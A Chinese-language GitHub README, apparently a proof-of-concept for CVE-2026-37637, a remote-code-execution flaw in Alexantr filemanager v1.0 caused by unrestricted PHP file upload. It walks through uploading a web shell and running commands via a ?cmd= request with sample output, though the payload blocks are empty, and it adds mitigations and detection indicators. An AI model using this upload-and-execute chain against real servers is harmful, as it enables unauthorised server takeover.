SLO-CYBER-SEC/CVE-2026-37637

GitHub: SLO-CYBER-SEC/CVE-2026-37637

针对Alexantr filemanager v1.0中CVE-2026-37637远程代码执行漏洞的概念验证仓库,演示了通过无限制文件上传实现服务器任意命令执行的完整攻击链。

Stars: 1 | Forks: 0

# CVE-2026-37637 **CVE-2026-37637** 概念验证 - **Alexantr filemanager v1.0** 中由于 `filemanager.php` 存在无限制文件上传而导致的远程代码执行漏洞。 ## 概述 **CVE-2026-37637** 是一个影响 **Alexantr filemanager v1.0** 的远程代码执行漏洞。 该漏洞存在于 `filemanager.php` 组件中,原因是上传文件验证不足。远程攻击者可以将恶意的 PHP 文件上传到可通过 Web 访问的目录中,并在服务器上执行任意命令。 ## 漏洞概述 | 项目 | 描述 | |---|---| | CVE ID | CVE-2026-37637 | | 漏洞类型 | 远程代码执行 | | 受影响产品 | Alexantr filemanager | | 受影响版本 | v1.0 | | 漏洞组件 | `filemanager.php` | | 攻击向量 | 远程 | | 身份验证要求 | 取决于部署/配置 | | 影响 | 任意命令执行 | | 根本原因 | 无限制文件上传及缺乏服务端文件验证 | ## 影响 攻击者可以通过文件上传功能上传恶意 PHP 文件。由于上传的文件存储在可通过 Web 访问的位置,且允许执行 PHP,攻击者可以在服务器上执行任意系统命令。 成功利用此漏洞可能允许攻击者: - 在服务器上执行任意命令 - 读取敏感文件 - 修改或删除应用程序文件 - 上传额外的恶意软件或 web shell - 向托管环境进行进一步的渗透 - 完全控制受影响的服务器 ## 技术细节 该应用程序允许用户上传任意文件,而没有正确验证文件扩展名、MIME 类型或文件内容。 可以上传如下恶意 PHP 文件: ``` ``` 一旦上传到可通过 Web 访问的目录中,攻击者就可以通过浏览器访问该文件并通过 `cmd` 参数传递命令来执行它们。 示例: ``` http://target/uploads/shell.php?cmd=id ``` 这将导致在底层操作系统上执行命令。 ## 复现步骤 ### 1. 克隆易受攻击的应用程序 ``` git clone https://github.com/alexantr/filemanager cd filemanager ``` ### 2. 启动 PHP 开发服务器 ``` php -S localhost:8000 ``` ### 3. 访问应用程序 在浏览器中打开应用程序: ``` http://localhost:8000/filemanager.php ``` 根据部署或配置情况,该应用程序也可能通过以下方式访问: ``` http://localhost:8000/pheditor.php ``` ### 4. 上传恶意 PHP 文件 创建一个名为 `shell.php` 的文件: ``` ``` 使用应用程序的上传功能上传该文件。 ### 5. 执行命令 上传文件后,直接在浏览器中访问它: ``` http://localhost:8000/uploads/shell.php?cmd=id ``` 如果漏洞利用成功,服务器将执行该命令并返回输出。 示例输出: ``` uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## 概念验证 ### 恶意 PHP 载荷 ``` ``` ### 示例请求 ``` GET /uploads/shell.php?cmd=id HTTP/1.1 Host: target User-Agent: Mozilla/5.0 Connection: close ``` ### 预期结果 通过 `cmd` 参数提供的命令在服务器上被执行。 ## 根本原因 该漏洞是由文件上传功能中服务端验证不足引起的。 该应用程序未正确限制: - 文件扩展名 - MIME 类型 - 文件内容 - 上传目标路径 - 上传目录内的执行权限 因此,可执行的 PHP 文件可以被上传并直接执行。 ## 建议修复方案 供应商和用户应实施以下防护措施。 ### 1. 拦截危险文件扩展名 禁止上传可执行文件类型,例如: ``` .php, .phtml, .php3, .php4, .php5, .phar ``` ### 2. 使用允许名单 仅允许预期的文件类型,例如: ``` .jpg, .png, .gif, .txt, .pdf ``` ### 3. 验证 MIME 类型和文件内容 不要仅依赖客户端提供的 `Content-Type` 头。 文件验证应在服务端进行。 ### 4. 将上传文件存储在 Web 根目录之外 上传的文件不应可直接执行或公开访问。 ### 5. 禁用上传目录中的 PHP 执行 对于 Apache,可以使用 `.htaccess` 实现: ``` php_flag engine off RemoveHandler .php .phtml .php3 .php4 .php5 .phar RemoveType .php .phtml .php3 .php4 .php5 .phar ``` 对于 Nginx,阻止上传路径中的 PHP 处理: ``` location /uploads/ { location ~ \.php$ { deny all; } } ``` ### 6. 重命名上传文件 使用服务器随机生成的文件名,并移除用户控制的扩展名。 ### 7. 应用适当的访问控制 将上传功能限制为仅受信任的用户。 ## 检测 管理员可以在可通过 Web 访问的目录中查找可疑的上传 PHP 文件。 示例指标: ``` shell.php cmd.php upload.php backdoor.php .php files inside upload directories ``` 可疑的请求模式可能包括: ``` ?cmd= ?exec= ?shell= ?command= ``` 示例日志条目: ``` GET /uploads/shell.php?cmd=id HTTP/1.1 ``` ## 免责声明 本仓库仅出于教育和防御安全目的提供。 这些信息和概念验证旨在帮助开发人员、系统管理员和安全专业人员理解和修复该漏洞。 请勿在未经明确授权的情况下使用此信息攻击系统。未经授权访问计算机系统是违法行为。 作者不对本仓库中提供信息的任何滥用行为承担责任。 ## 参考 - https://github.com/alexantr/filemanager - https://cve.mitre.org/
标签:0day, Alexantr filemanager, CISA项目, CVE-2026-37637, PHP安全, RCE, WebShell, Web安全, 任意命令执行, 提示词注入, 文件上传漏洞, 文件包含, 文件管理器, 无限制文件上传, 服务端输入验证绕过, 漏洞PoC, 编程工具, 网络信息收集, 网络安全, 蓝队分析, 远程代码执行, 隐私保护